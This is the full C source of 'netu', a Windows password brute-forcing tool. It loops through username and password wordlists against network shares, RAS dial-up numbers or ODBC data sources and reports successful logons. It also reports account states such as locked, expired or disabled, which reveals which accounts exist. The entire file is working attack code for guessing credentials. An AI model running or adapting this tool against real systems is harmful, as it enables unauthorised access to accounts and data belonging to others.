//////////////////////////////////////////////////////
//
// netu - WNet, RAS and ODBC password bruteforcer
//
// (c)2000-2002 Olle Segerdahl <olle@nxs.se>
//
//////////////////////////////////////////////////////


#include <windows.h>
#include <stdio.h>
#include <conio.h>
#include <lmuseflg.h>
#include <ras.h>
#include <raserror.h>
#include <sql.h>
#include <sqlext.h>

int verbose = 0;


// get time in milliseconds since time0
__inline unsigned int gettimesince(unsigned int time0)
{
static struct _SYSTEMTIME st;

GetSystemTime(&st);

return((st.wHour *3600000 + st.wMinute *60000 + st.wSecond *1000 + st.wMilliseconds) - time0);
}


// test password with ODBC and print results
int test_pass_ODBC(char *system, char *user, char *pass, char *domain)
{
	char *dsn, *dsnout;
	short len;
	char *resultstr = "";
	int found = 0;
	SQLRETURN status;
	SQLHDBC   hdbc;
	SQLHENV   henv;

	char buf[10], msg[1024];
	int code;

	// create DSN
	len = strlen(system) + strlen(user) + strlen(pass) + 11;
	dsn = malloc(len);
	dsnout = malloc(len+=128);
	sprintf(dsn,"UID=%s;PWD=%s;%s",user, pass, system);


	// setup ODBC
	if (SQLAllocHandle(SQL_HANDLE_ENV, NULL, &henv) != SQL_SUCCESS ) {
		fprintf(stderr, "allochandle env failed\n");
		exit(1);
	}

	if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION, (void*)SQL_OV_ODBC3, 0) != SQL_SUCCESS ) {
		fprintf(stderr, "envattr failed\n");
		exit(1);
	}


	if (SQLAllocHandle(SQL_HANDLE_DBC, henv, &hdbc) != SQL_SUCCESS ) {
		fprintf(stderr, "allochandle dbc failed\n");
		exit(1);
	}


	if (SQLSetConnectAttr(hdbc, SQL_LOGIN_TIMEOUT, (void*)10, 0) != SQL_SUCCESS) {
	
		fprintf(stderr, "SQLSetConnectAttr( SQL_LOGIN_TIMEOUT ) failed\n");
		exit(1);
	}	

	// doit
	status = SQLDriverConnect(hdbc, NULL, dsn, (short)(len-128), dsnout, len, &len, SQL_DRIVER_NOPROMPT); //SQL_DRIVER_COMPLETE_REQUIRED


	switch (status){

	case SQL_SUCCESS:
	case SQL_SUCCESS_WITH_INFO:
		resultstr = "Logon success!";
		found = 1;
		break;

	case SQL_NO_DATA:
	case SQL_ERROR:	
		strcpy(dsnout, dsn);

		// get ODBC error message
		SQLGetDiagRec(SQL_HANDLE_DBC, hdbc, 1, buf, &code, msg, 1024, &len);
		buf[6]=0;
		//printf("\n%s : %X : %s\n", buf, code, msg);

		if (!strcmp("28000", buf)) {
		
			resultstr = msg;	
			
		} else if (!strcmp("NA000", buf) && code==0) {

			resultstr = "Logon failed.";

		} else {

		// if unknown error, print and die
			fprintf(stderr,"\nODBC error:\n%s\nExiting netu!\n",msg);
			exit(1);
		}
		break;

	default:
		resultstr = "";
		fprintf(stderr,"%s : Error: %d: \n",dsn,status);
	}

	// cleanup ODBC
	SQLDisconnect(hdbc);
	SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
	SQLFreeHandle(SQL_HANDLE_ENV, henv);


	if ((verbose || (found==1)) && resultstr[0] != 0)
		fprintf(stdout,"\"%s\" : %s\n",dsnout,resultstr), fflush(stdout);

	return found;
}


// test password with RAS and print results
int test_pass_RAS(char *system, char *user, char *pass, char *domain)
{
	char errormess[256];
	char *resultstr;
	int found = 0;
	DWORD dialstatus;
	HRASCONN hconn = NULL;
	RASDIALPARAMS dialparams = {
		sizeof(RASDIALPARAMS),
		"netu",	//name
		"",		//telnum
		"",		//cbnumber
		"",		//user
		"",		//pass
		""		//ntdom
		};

	strcpy(dialparams.szPhoneNumber,system);
	strcpy(dialparams.szUserName,user);
	strcpy(dialparams.szPassword,pass);
	if (domain != NULL) {
		strcpy(dialparams.szDomain,domain);
	}

	dialstatus = RasDial(NULL,NULL,&dialparams,0,NULL,&hconn);
	RasHangUp(hconn);

	errormess[0]=0;
	RasGetErrorString(dialstatus,errormess,sizeof(errormess));
	errormess[254]=0;

	switch (dialstatus){
	case 0:
		resultstr = "Logon success!";
		found = 1;
		break;
	case ERROR_AUTHENTICATION_FAILURE: //691
		resultstr = "Logon failed!";
		break;
	case ERROR_CANNOT_FIND_PHONEBOOK_ENTRY: //623
		fprintf(stderr,"\nYou MUST create a RAS phonebook entry (dialup connection)\n named \"netu\" with the dialup settings you wish to use!\n");
		exit(-1);
	case ERROR_PORT_NOT_AVAILABLE: //633
	case ERROR_NO_DIALTONE: //680
	case 797:
		fprintf(stderr,"%s\nExiting netu!\n",errormess);
		exit(1);
	case ERROR_LINE_BUSY: //676
		resultstr = "Line Busy!";
		found = -1;
	default:
		resultstr = "";
		fprintf(stderr,"%s	%s : %-14s	Error: %d: %s\n",system,user,pass,dialstatus,errormess);
	}

	if ((verbose || (found==1)) && resultstr[0] != 0)
		fprintf(stdout,"%s %s : %-14s %s\n",system,user,pass,resultstr), fflush(stdout);

	return found;
}



// print results of do_WNAC
int test_pass_WNAC(char *system, char *user, char *pass, char *domain)
{
	NETRESOURCEA netres;
	DWORD result;
	char *resultstr;
	char buf[128];
	int found = 0;
	int show = 0;

		// add domain if nessecary
		strncpy(buf,user,127);
		buf[127]=0;
		if (domain != NULL) {
			strncpy(buf,domain,20);
			buf[20] = 0;
			strncat(buf,"\\",1);
			strncat(buf,user,80);
			buf[127] = 0;
		}

		netres.dwType = RESOURCETYPE_ANY;
		netres.lpLocalName = NULL;
		netres.lpRemoteName = system;
		netres.lpProvider = NULL;

		// these seem to be ignored by WNAC2
		netres.dwDisplayType = 0;
		netres.dwUsage = RESOURCEUSAGE_NOLOCALDEVICE;
		netres.dwScope = 0;
		netres.lpComment = NULL;

		result = WNetAddConnection2A(&netres,pass,buf,0);
		WNetCancelConnection2A(system,0,USE_LOTS_OF_FORCE);


		// parse error codes
		switch (result) {

		case ERROR_SESSION_CREDENTIAL_CONFLICT:
			resultstr = "Conflict Existing Credentials!";
			found = -1;
			break;
		case ERROR_SUCCESS:
			resultstr = "Logon success!";
			found = 1;
			break;
		case ERROR_LOGON_FAILURE:
			resultstr = "Logon failed!";
			break;
		case ERROR_WRONG_PASSWORD:
		case ERROR_INVALID_PASSWORD:
			resultstr = "Wrong Password!";
			break;
		case ERROR_INVALID_ADDRESS:
			resultstr = "Invalid address!";
			found = -1;
			show = 1;
			break;
		case ERROR_BAD_NET_NAME:
			resultstr = "Bad Netname!";
			found = -1;
			show = 1;
			break;
		case ERROR_BAD_NETPATH:
			resultstr = "UNC path could not be found!";
			found = 1;
			break;
		case ERROR_NO_SUCH_USER:
			resultstr = "No such user!";
			found = 1;
			break;
		case ERROR_LOGON_TYPE_NOT_GRANTED:
			resultstr = "Network logon not granted!";
			found = 1;
			break;
		case ERROR_ACCOUNT_DISABLED:
			resultstr = "Account disabled!";
			found = 1;
			break;
		case ERROR_ACCOUNT_LOCKED_OUT:
			resultstr = "Account Locked Out!"; //1909
			found = 1;
			break;
		case ERROR_ACCOUNT_RESTRICTION:
			resultstr = "Account restricted!";
			found = 1;
			break;
		case ERROR_LOGIN_TIME_RESTRICTION:
		case ERROR_INVALID_LOGON_HOURS:
			resultstr = "Logon hours restricted!";
			found = 1;
			break;
		case ERROR_LOGIN_WKSTA_RESTRICTION:
		case ERROR_INVALID_WORKSTATION:
			resultstr = "Workstation Restricted!";
			found = 1;
			break;
		case ERROR_PASSWORD_EXPIRED:
			resultstr = "Password Expired!";
			found = 1;
			break;
		case ERROR_PASSWORD_MUST_CHANGE:
			resultstr = "Must change password!";
			found = 1;
			break;
		case ERROR_CONNECTION_COUNT_LIMIT:
			resultstr = "Too many concurrent logins!";
			found = 1;
			break;
		case ERROR_ACCESS_DENIED:
			resultstr = "Access Denied!";
			found = 1;
			break;
		case ERROR_NETLOGON_NOT_STARTED: //1792
			resultstr = "NetLogon service not running!";
			found = -1;
			show = 1;
			break;
		case ERROR_EXTENDED_ERROR: //1208
			resultstr = "\"Extended Error\" (must change pwd?)";
			show = 1;
			break;
		default:
			resultstr = "";
			fprintf(stderr,"%s	%s : %-14s Win32Error: %d!\n",system,user,pass,result);
			break;
		}
		if ((verbose || (found==1) || show) && resultstr[0] != 0)
			fprintf(stdout,"%s %s : %-14s %s\n",system,user,pass,resultstr), fflush(stdout);
 
		return found;
}


// linked userlist
typedef struct userl_s {

	char *name;
	struct userl_s *next;

} userl;



main(int argc, char **argv)
{

	char *user, *pass;
	char buf[128];
	char *domain = NULL;
	FILE *userfile;
	FILE *passfile;
	typedef int(*funcp)(char *, char *, char*, char *);
	funcp test_pass;
	unsigned int starttime;
	unsigned int msecs;
	unsigned long tries;
	unsigned long total_tries = 0;
	unsigned long total_msecs = 0;
	unsigned long total_users = 0;
	unsigned long passwords = 0;
	int status;
	userl *users = NULL;
	userl *userp = NULL;


	if ((argc < 4) || (argc > 6)) {
		fprintf(stderr,"\n netu v1.0-FINAL                (c)2000-2002 Olle Segerdahl <olle@nxs.se>\n\n");
		fprintf(stderr," Password tester using WNetAddConnection2(), SQLConnect() or RasDial()\n\n");
		fprintf(stderr," usage:  netu <UNCpath|Tel#|DSN> <userfile> <passwordfile> [domain] [-v]\n\n");
		fprintf(stderr," UNC paths work with any installed WNet \"provider\" (eg. NetWare client).\n");
		fprintf(stderr," The word \"_SAME_AS_USER_\" in <passwordfile> is replaced by the username.\n");
		fprintf(stderr," [domain] is an optional NT domainname to prepend to usernames.\n");
		exit(0);
	}


	// print startup banner
	fprintf(stderr,"\n-=[netu]=- started, testing users on %s\n\n",argv[1]);

	test_pass = &test_pass_WNAC;
	if (argv[1][0] != '\\') {
		fprintf(stderr,"Target not in UNC, ");

		if (isalpha(argv[1][0])) {
		
			fprintf(stderr,"assuming DSN for ODBC.\n");
			test_pass = &test_pass_ODBC;
		
		} else {
			fprintf(stderr,"assuming telephone number for RAS.\n");
			test_pass = &test_pass_RAS;
		}
	}
	

	// bad argument parsing
	if (argc == 5)
		if ((argv[4][0] == '-') && (argv[4][1] == 'v'))
			verbose=1;
		else
			domain = argv[4];

	if (argc == 6)
		if ((argv[4][0] == '-') && (argv[4][1] == 'v')) {
			verbose=1;
			domain = argv[5];
		} else {
			verbose=1;
			domain = argv[4];
		}

	
	// open input files
	userfile = fopen(argv[2],"r");
	if (userfile == NULL) {
		fprintf(stderr,"Could not open username file %s\n",argv[2]);
		exit(1);
	}

	passfile = fopen(argv[3],"r");
	if(passfile == NULL) {
		fprintf(stderr,"Could not open password file %s\n",argv[3]);
		exit(1);
	}


	// read users from file
	while (1) {

		// get next user from file
		buf[0] = 0;
		if (NULL == fgets(buf,127,userfile)) {
			if (feof(userfile)) {
				// no more users
				break;
			} else {
				fprintf(stderr,"Error while reading username file %s\n",argv[2]);
				exit(1);
			}
		}
		buf[127] = 0;

		// chomp user
		if (buf[strlen(buf)-1] == '\n')
			buf[strlen(buf)-1] = 0;

		// init list if empty
		if (users==NULL) {
			userp = users = malloc(sizeof(userl));
			userp->next = NULL;
		}
			
		// add new element after last
		for (userp=users; userp->next!=NULL; userp=userp->next);			
		userp->next = malloc(sizeof(userl));	
		userp = userp->next;
		if (!userp)
			fprintf(stderr, "error in malloc!\n"), exit(1);
		userp->next = NULL;

		// assign username
		userp->name = malloc(strlen(buf)+1);
		if (!userp->name)
			fprintf(stderr, "error in malloc!\n"), exit(1);
		strncpy(userp->name, buf, strlen(buf));
		userp->name[strlen(buf)] = '\0';
		total_users++;
	}


	// start looping through passwords
	while (users->next) {

		// get next password from file
		buf[0] = 0;
		if (NULL == fgets(buf,127,passfile)) {
			if (feof(passfile)) {
				break;
			} else {
				fprintf(stderr,"Error while reading password file %s\n",argv[3]);
				exit(1);
			}
		}
		buf[127] = 0;

		// chomp pass
		if (buf[strlen(buf)-1] == '\n')
			buf[strlen(buf)-1] = 0;

		// setup user loop variables 
		pass = buf;		
		userp = users;
		starttime = gettimesince(0);
		tries=0;

		// start looping users
		do {
			user = userp->next->name;

			// username same as password
			if (strcmp("_SAME_AS_USER_",buf)==0)
				pass = user;

			// print status messages	XXX do we really need this anymore? XXX
			if (_kbhit()) {
				msecs = gettimesince(starttime);
				fprintf(stderr,"%d tries on pwd \"%s\" last user: %s (pwds/s: %d)\n", tries, pass, user, (tries*1000)/(msecs+1));

				// exit if q pressed
				if (_getch() == 'q')
					exit(0);
			}

			// try password
			while((status = (test_pass)(argv[1],user,pass,domain)) == -1);
			{
				// retry if returncode is -1
				Sleep(1);
			}
			tries++;

			// if valid password found, remove username from list
			if (status==1) {
				userl *tmp;
				tmp = userp->next;
				userp->next = userp->next->next;
				free(tmp);
			} else {
			// next user
				userp = userp->next;
			}

		} while ((userp!=NULL) && (userp->next!=NULL));

		// update counters
		msecs = gettimesince(starttime);
		if (!msecs)
			msecs++;
		total_tries += tries;
		total_msecs += msecs;
		passwords++;

		// print status messages
		if (verbose)
			fprintf(stderr,"Tried \"%s\" on %d users in %dm:%d.%.3ds, passwords/sec: %d\n",buf,tries,(msecs/1000)/60,(msecs/1000)%60,msecs%1000,(tries*1000)/msecs);
		fflush(stderr);

	} /* while (1) password loop */

	// print final stats
	fprintf(stderr,"\nTried %d pwds on %d users: %d tries in %dm:%d.%.3ds (pwds/s: %d)\n",passwords,total_users,total_tries,(total_msecs/1000)/60,(total_msecs/1000)%60,total_msecs%1000,(total_tries*1000)/total_msecs);
}
